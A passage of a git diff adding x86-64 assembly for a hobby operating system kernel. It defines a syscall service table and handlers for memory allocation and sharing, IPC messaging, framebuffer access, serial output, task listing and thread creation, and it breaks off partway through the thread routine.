+kernel_service_storage_read: + ; preserve original registers + push rax + push rbx + push rcx + push rsi + push rbp + push r8 + push r9 + push r11 + push rdi + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; prepare space for file descriptor + sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE + mov rbp, rsp ; pointer of file descriptor + + ; get file properties + movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] + movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length] + lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name] + call kernel_storage_file + + ; file found? + cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY + je .end ; no + + ; prepare space for file content + mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] + call kernel_service_memory_alloc + + ; no enough memory? + test rax, rax + jz .end ; yes + + ; load file content into prepared space + mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id] + mov rdi, rax + movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] + call kernel_storage_read + + ; retrieve current task pointer + call kernel_task_active + + ; restore file descriptor + mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE] + + ; inform process about file location and size + push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] + pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte] + mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi + +.end: + ; remove file descriptor from stack + add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE + + ; restore original registers + pop rdi + pop r11 + pop r9 + pop r8 + pop rbp + pop rsi + pop rcx + pop rbx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - pointer to list of first task descriptor +kernel_service_task: + ; preserve original registers + push rbx + push rcx + push rdx + push rsi + push rdi + push r8 + push r10 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov al, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al + + ; assigned? + test al, al + jnz .lock ; no + + ; length of tasks descriptors in Bytes + mov eax, LIB_SYS_STRUCTURE_TASK.SIZE + mul qword [r8 + KERNEL_STRUCTURE.task_count] + + ; assign place for task descriptor list + mov rdi, rax + add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift + call kernel_service_memory_alloc + + ; store information about size of this space + add rdi, ~STATIC_PAGE_mask + shr rdi, STATIC_PAGE_SIZE_shift + mov qword [rax], rdi + + ; parse every entry + mov rbx, KERNEL_TASK_limit + mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address] + + ; preserve memory space pointer of tasks descriptors + add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift + push rax + +.loop: + ; entry exist? + cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], EMPTY + je .next ; no + + ; do not pass kernel entry + cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY + je .next + + ; share default information about task + + ; process ID + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx + + ; process parents ID + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx + + ; wake up process micotime + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx + + ; amount of pages used by process + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.page], rdx + + ; current task status + mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags] + mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx + + ; taks name length + movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length] + mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl + + ; task name itself + lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name] + lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name] + rep movsb + + ; next task descriptor position + add rax, LIB_SYS_STRUCTURE_TASK.SIZE + +.next: + ; move pointer to next entry of task table + add r10, KERNEL_TASK_STRUCTURE.SIZE + + ; end of tasks inside table? + dec rbx + jnz .loop ; no + + ; last entry set as empty + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY + + ; return memory pointer of tasks descriptors + pop rax + + ; release access + mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK + + ; restore original registers + pop r10 + pop r8 + pop rdi + pop rsi + pop rdx + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to function of current task to execute as thread +; rsi - pointer to string as name of thread +; rdx - length of that string +;out: +; rax - process ID of thread +kernel_service_thread: + ; preserve original registers + push rbx + push rcx + push rdx + push rsi + push r9 + push r10 + push r11 + push r15 + push rdi + + ;----------------------------------------------------------------------- + ; prepare task for execution + ;----------------------------------------------------------------------- + + ; register new task on queue + mov rcx, rdx + call kernel_task_add + + ;----------------------------------------------------------------------- + ; paging array of new process + ;----------------------------------------------------------------------- + + ; make space for the process paging table + call kernel_memory_alloc_page + + ; update task entry about paging array + mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi + + ;----------------------------------------------------------------------- + ; context stack and return point (initialization entry) + ;----------------------------------------------------------------------- + + ; describe the space under context stack of process + mov rax, KERNEL_TASK_STACK_address + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process + mov ecx, KERNEL_TASK_STACK_SIZE_page + mov r11, rdi + call kernel_page_alloc + + ; set process context stack pointer + mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers) + mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi + + ; prepare exception exit mode on context stack of process + mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte + call kernel_page_address + + ; set pointer to return descriptor + and rax, STATIC_PAGE_mask ; drop flags + add rax, qword [kernel_page_mirror] ; convert to logical address + add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE + + ; set first instruction executed by thread + mov rdx, qword [rsp] + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx + + ; code descriptor + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03 + + ; default processor state flags + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default + + ; default stack pointer + mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx + + ; stack descriptor + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03 + + ;----------------------------------------------------------------------- + ; stack + ;----------------------------------------------------------------------- + + ; alloc stack space + mov rcx, KERNEL_EXEC_STACK_SIZE_page + call kernel_memory_alloc + + ; map executable space to thread paging array + mov rax, KERNEL_EXEC_STACK_address + or bx, KERNEL_PAGE_FLAG_user + mov rsi, rdi + sub rsi, qword [kernel_page_mirror] + call kernel_page_map + + ; process memory usage + add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx + + ; process stack size + add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx + + ; aquire parent task properties + call kernel_task_active + + ; threads use same memory map as parent + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax + + ; threads use same streams as parent + + ; in + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in] + inc qword [rax + KERNEL_STREAM_STRUCTURE.count] + mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax + + ; out + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out] + inc qword [rax + KERNEL_STREAM_STRUCTURE.count] + mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax + + ; map kernel space to process + mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + or r15, qword [kernel_page_mirror] + call kernel_page_merge + + ; mark thread as ready + or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init + + ; return process ID of new thread + mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid] + + ; restore original registers + pop rdi + pop r15 + pop r11 + pop r10 + pop r9 + pop rsi + pop rdx + pop rcx + pop rbx + + ; end of routine + ret \ No newline at end of file diff --git a/service.asm b/service.asm new file mode 100644 index 0000000..ca0a713 --- /dev/null +++ b/service.asm @@ -0,0 +1,1094 @@ +;=============================================================================== +;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved. +;=============================================================================== + +; information for linker +section .rodata + +; align routine +align 0x08, db 0x00 +kernel_service_list: + dq kernel_service_exit + dq kernel_service_framebuffer + dq kernel_service_memory_alloc + dq kernel_service_memory_release + dq kernel_service_task_pid + dq kernel_service_driver_mouse + dq kernel_service_storage_read + dq kernel_service_exec + dq kernel_service_ipc_send + dq kernel_service_ipc_receive + dq kernel_service_memory_share + dq driver_ps2_keyboard_key_read + dq kernel_service_task_status + dq kernel_stream_out + dq kernel_stream_in + dq kernel_service_serial_char + dq kernel_service_serial_string + dq kernel_service_serial_value + dq driver_rtc_time + dq kernel_stream_set + dq kernel_stream_get + dq kernel_service_sleep + dq kernel_service_uptime + dq kernel_stream_out_value + dq kernel_service_task + dq kernel_service_memory + dq kernel_service_thread +kernel_service_list_end: + +; information for linker +section .text + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to Memory descriptor +kernel_service_memory: + ; preserve original registers + push rax + push r8 + + ; kernel environment variables/rountines base addrrax + mov r8, qword [kernel_environment_base_address] + + ; return information about + + ; all available pages + mov rax, qword [r8 + KERNEL_STRUCTURE.page_total] + mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax + + ; and currently free + mov rax, qword [r8 + KERNEL_STRUCTURE.page_available] + mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax + + ; restore original registers + pop r8 + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; void +kernel_service_exit: + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; mark task as closed and not active + or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed + and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active + + ; release rest of AP time + int 0x20 + +;------------------------------------------------------------------------------- +; in: +; rdi - sleep amount in microtime +kernel_service_sleep: + ; preserve original registers + push rdi + push r8 + push r9 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; current uptime + add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + + ; go to sleep for N ticks + mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi + + ; release the remaining CPU time + int 0x20 + + ; restore original registers + pop r9 + pop r8 + pop rdi + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - current uptime in microtime +kernel_service_uptime: + ; return current microtime index + mov rax, qword [kernel_environment_base_address] + mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime] + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to mouse descriptor +kernel_service_driver_mouse: + ; preserve original registers + push rax + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; share information about mouse location and status + mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x] + mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax + mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y] + mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax + mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status] + mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al + + ; restore original registers + pop r8 + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdx - stream flags +; rsi - length of file name/path +; rdi - pointer to file name/path +; out: +; rax - process ID +kernel_service_exec: + ; preserve original registers + push rcx + push rsi + push rdi + push rbp + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; reorganize registers + mov rcx, rsi ; length of string + mov rsi, rdx ; pointer to string + xchg rsi, rdi ; stream flags + + ; execute file from path + call kernel_exec + + ; restore original registers + pop r8 + pop rbp + pop rdi + pop rsi + pop rcx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to framebuffer descriptor +kernel_service_framebuffer: + ; preserve original registers + push rax + push rcx + push rdx + push rsi + push r8 + push r9 + push r11 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; return properties of framebuffer + + ; width in pixels + mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel] + mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax + + ; height in pixels + mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel] + mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax + + ; scanline in Bytes + mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte] + mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax + + ; framebuffer manager + mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid] + + ; framebuffer manager exist? + test rax, rax + jnz .return ; yes + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; calculate size of framebuffer space + mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte] + movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel] + mul rcx + + ; convert to pages + add rax, ~STATIC_PAGE_mask + shr rax, STATIC_PAGE_SIZE_shift + + ; share framebuffer memory space with process + xor ecx, ecx ; no framebuffer manager, if error on below function + xchg rcx, rax ; length of shared space in pages + mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address] + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + call kernel_memory_share + jc .return ; no enough memory? + + ; return pointer to shared memory of framebuffer + mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax + + ; new framebuffer manager + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] + mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax + +.return: + ; inform about framebuffer manager + mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax + + ; restore original registers + pop r11 + pop r9 + pop r8 + pop rsi + pop rdx + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - ID of target process +; rsi - pointer to message data +kernel_service_ipc_send: + ; preserve original registers + push rax + push rcx + push rsi + push rdi + push r8 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov cl, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl + + ; assigned? + test cl, cl + jnz .lock ; no + +.restart: + ; amount of entries + mov rcx, KERNEL_IPC_limit + + ; set pointer to first message + mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] + +.loop: + ; free entry? + mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax + jbe .found ; yes + + ; next entry from list + add rdx, LIB_SYS_STRUCTURE_IPC.SIZE + + ; end of message list? + dec rcx + jz .restart ; yes + + ; no + jmp .loop + +.found: + ; set message time out + add rax, KERNEL_IPC_timeout + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax + + ; set message source + call kernel_task_pid + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax + + ; set message target + mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi + + ; load data into message + mov ecx, LIB_SYS_IPC_DATA_size_byte + mov rdi, rdx + add rdi, LIB_SYS_STRUCTURE_IPC.data + rep movsb + +.end: + ; release access + mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK + + ; restore original registers + pop r8 + pop rdi + pop rsi + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to message descriptor +; sil - message type +; out: +; TRUE if message retrieved +kernel_service_ipc_receive: + ; preserve original registers + push rbx + push rcx + push rdi + push r8 + push rsi + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov cl, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl + + ; assigned? + test cl, cl + jnz .lock ; no + + ; retrieve ID of current process + call kernel_task_pid + + ; amount of entries + mov rcx, KERNEL_IPC_limit + + ; set pointer to first message + mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] + +.loop: + ; message alive? + mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] + cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx + ja .check ; yes + +.next: + ; next entry from list? + add rsi, LIB_SYS_STRUCTURE_IPC.SIZE + dec rcx + jnz .loop ; yes + + ; no message for us + xor eax, eax + + ; no + jmp .end + +.check: + ; message type selected? + cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY + je .any ; no + + ; requested message type? + mov bl, byte [rsp] + cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type] + jne .next ; no + +.any: + ; message for us? + cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax + jne .next ; no + + ; preserve original register + push rsi + + ; load message to process descriptor + mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE + rep movsb + + ; restore original register + pop rsi + + ; release entry + mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY + + ; message transferred + mov eax, TRUE + +.end: + ; release access + mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK + + ; restore original registers + pop rsi + pop r8 + pop rdi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - length of space in Bytes +; out: +; rax - pointer to allocated space +; or EMPTY if no enough memory +kernel_service_memory_alloc: + ; preserve original registers + push rbx + push rcx + push rsi + push rdi + push r8 + push r9 + push r11 + + ; convert size to pages (align up to page boundaries) + add rdi, ~STATIC_PAGE_mask + shr rdi, STATIC_PAGE_SIZE_shift + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; set pointer of process paging array + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + + ; aquire memory space from process memory map + mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + mov rcx, rdi ; number of pages + call kernel_memory_acquire + jc .error ; no enough memory + + ; convert first page number to logical address + shl rdi, STATIC_PAGE_SIZE_shift + + ; assign pages to allocated memory in process space + mov rax, rdi + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process + call kernel_page_alloc + jnc .allocated ; space allocated + + ; take back modifications + mov rsi, rcx + call kernel_service_memory_release + +.error: + ; no enough memory + xor eax, eax + + ; end + jmp .end + +.allocated: + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; process memory usage + add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx + +.end: + ; restore original registers + pop r11 + pop r9 + pop r8 + pop rdi + pop rsi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to allocated space +; rsi - length of space in Bytes +kernel_service_memory_release: + ; preserve original registers + push rax + push rcx + push rsi + push rdi + push r9 + push r11 + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; convert bytes to pages + add rsi, ~STATIC_PAGE_mask + shr rsi, STATIC_PAGE_SIZE_shift + + ; pointer and counter at place + mov rcx, rsi + mov rsi, rdi + +.loop: + ; delete first physical page from logical address + mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + call kernel_page_remove + + ; page removed? + test rax, rax + jnz .release ; yes + + ; convert to page number + shr rsi, STATIC_PAGE_SIZE_shift + + ; continue + jmp .next + +.release: + ; release page inside kernels binary memory map + mov rdi, rax + or rdi, qword [kernel_page_mirror] + call kernel_memory_release_page + + ; release page inside process binary memory map + shr rsi, STATIC_PAGE_SIZE_shift + mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + bts qword [rdi], rsi + + ; process memory usage + dec qword [r9 + KERNEL_TASK_STRUCTURE.page] + +.next: + ; next page from space + inc rsi + shl rsi, STATIC_PAGE_SIZE_shift + + ; another page? + dec rcx + jnz .loop ; yes + + ; restore original registers + pop r11 + pop r9 + pop rdi + pop rsi + pop rcx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to source memory space +; rsi - length of space in Bytes +; rdx - target process ID +; out: +; rax - pointer to shared memory between processes +kernel_service_memory_share: + ; preserve original registers + push rbx + push rcx + push rsi + push rdi + push r9 + push r11 + + ; convert Bytes to pages + mov rcx, rsi + add rcx, ~STATIC_PAGE_mask + shr rcx, STATIC_PAGE_SIZE_shift + + ; retrieve task paging structure pointer + call kernel_task_by_id + mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3] + + ; set source pointer in place + mov rsi, rdi + + ; acquire memory space from target process + mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map] + call kernel_memory_acquire + + ; convert page number to offset + shl rdi, STATIC_PAGE_SIZE_shift + + ; connect memory space of parent process with child + mov rax, rdi + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared + call kernel_page_clang + + ; restore original registers + pop r11 + pop r9 + pop rdi + pop rsi + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - PID of current task +kernel_service_task_pid: + ; preserve original registers + push r9 + + ; retrieve pointer to current task descriptor + call kernel_task_active + + ; set pointer of process paging array + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] + + ; restore original registers + pop r9 + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - process ID +; out: +; ax - task status +kernel_service_task_status: + ; preserve original registers + push rbx + push rdx + + ; retrieve pointer to current task descriptor + mov rdx, rdi + call kernel_task_by_id + + ; by default not found + xor ax, ax + + ; not found? + test rbx, rbx + jz .error ; yep + + ; set pointer of process paging array + mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags] + +.error: + ; restore original registers + pop rdx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - ASCII character +kernel_service_serial_char: + ; preserve original register + push rax + + ; send character to serial + mov al, dil + call driver_serial_char + + ; restore original register + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to string +; rsi - length of string in Bytes +kernel_service_serial_string: + ; preserve original registers + push rcx + push rsi + + ; send string to serial + mov rcx, rsi + mov rsi, rdi + call driver_serial_string + + ; restore original registers + pop rsi + pop rcx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - value +; sil - base +; rdx - prefix length +; cl - TRUE/FALSE signed value? +kernel_service_serial_value: + ; preserve original registers + push rax + push rbx + push rcx + push rdx + + ; send value to serial + mov rax, rdi + movzx ebx, sil + xchg rcx, rdx + call driver_serial_value + + ; restore original registers + pop rdx + pop rcx + pop rbx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to file descriptor +kernel_service_storage_read: + ; preserve original registers + push rax + push rbx + push rcx + push rsi + push rbp + push r8 + push r9 + push r11 + push rdi + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + + ; prepare space for file descriptor + sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE + mov rbp, rsp ; pointer of file descriptor + + ; get file properties + movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] + movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length] + lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name] + call kernel_storage_file + + ; file found? + cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY + je .end ; no + + ; prepare space for file content + mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] + call kernel_service_memory_alloc + + ; no enough memory? + test rax, rax + jz .end ; yes + + ; load file content into prepared space + mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id] + mov rdi, rax + movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] + call kernel_storage_read + + ; retrieve current task pointer + call kernel_task_active + + ; restore file descriptor + mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE] + + ; inform process about file location and size + push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] + pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte] + mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi + +.end: + ; remove file descriptor from stack + add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE + + ; restore original registers + pop rdi + pop r11 + pop r9 + pop r8 + pop rbp + pop rsi + pop rcx + pop rbx + pop rax + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; out: +; rax - pointer to list of first task descriptor +kernel_service_task: + ; preserve original registers + push rbx + push rcx + push rdx + push rsi + push rdi + push r8 + push r10 + + ; kernel environment variables/rountines base address + mov r8, qword [kernel_environment_base_address] + +.lock: + ; request an exclusive access + mov al, LOCK + lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al + + ; assigned? + test al, al + jnz .lock ; no + + ; length of tasks descriptors in Bytes + mov eax, LIB_SYS_STRUCTURE_TASK.SIZE + mul qword [r8 + KERNEL_STRUCTURE.task_count] + + ; assign place for task descriptor list + mov rdi, rax + add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift + call kernel_service_memory_alloc + + ; store information about size of this space + add rdi, ~STATIC_PAGE_mask + shr rdi, STATIC_PAGE_SIZE_shift + mov qword [rax], rdi + + ; parse every entry + mov rbx, KERNEL_TASK_limit + mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address] + + ; preserve memory space pointer of tasks descriptors + add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift + push rax + +.loop: + ; entry exist? + cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], EMPTY + je .next ; no + + ; do not pass kernel entry + cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY + je .next + + ; share default information about task + + ; process ID + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx + + ; process parents ID + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx + + ; wake up process micotime + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx + + ; amount of pages used by process + mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page] + mov qword [rax + LIB_SYS_STRUCTURE_TASK.page], rdx + + ; current task status + mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags] + mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx + + ; taks name length + movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length] + mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl + + ; task name itself + lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name] + lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name] + rep movsb + + ; next task descriptor position + add rax, LIB_SYS_STRUCTURE_TASK.SIZE + +.next: + ; move pointer to next entry of task table + add r10, KERNEL_TASK_STRUCTURE.SIZE + + ; end of tasks inside table? + dec rbx + jnz .loop ; no + + ; last entry set as empty + mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY + + ; return memory pointer of tasks descriptors + pop rax + + ; release access + mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK + + ; restore original registers + pop r10 + pop r8 + pop rdi + pop rsi + pop rdx + pop rcx + pop rbx + + ; return from routine + ret + +;------------------------------------------------------------------------------- +; in: +; rdi - pointer to function of current task to execute as thread +; rsi - pointer to string as name of thread +; rdx - length of that string +;out: +; rax - process ID of thread +kernel_service_thread: + ; preserve original registers + push rbx + push rcx + push rdx + push rsi + push r9 + push r10 + push r11 + push r15 + push rdi + + ;----------------------------------------------------------------------- + ; prepare task for execution + ;----------------------------------------------------------------------- + + ; register new task on queue + mov rcx, rdx + call kernel_task_add + + ;----------------------------------------------------------------------- + ; paging array of new process + ;----------------------------------------------------------------------- + + ; make space for the process paging table + call kernel_memory_alloc_page + + ; update task entry about paging array + mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi + + 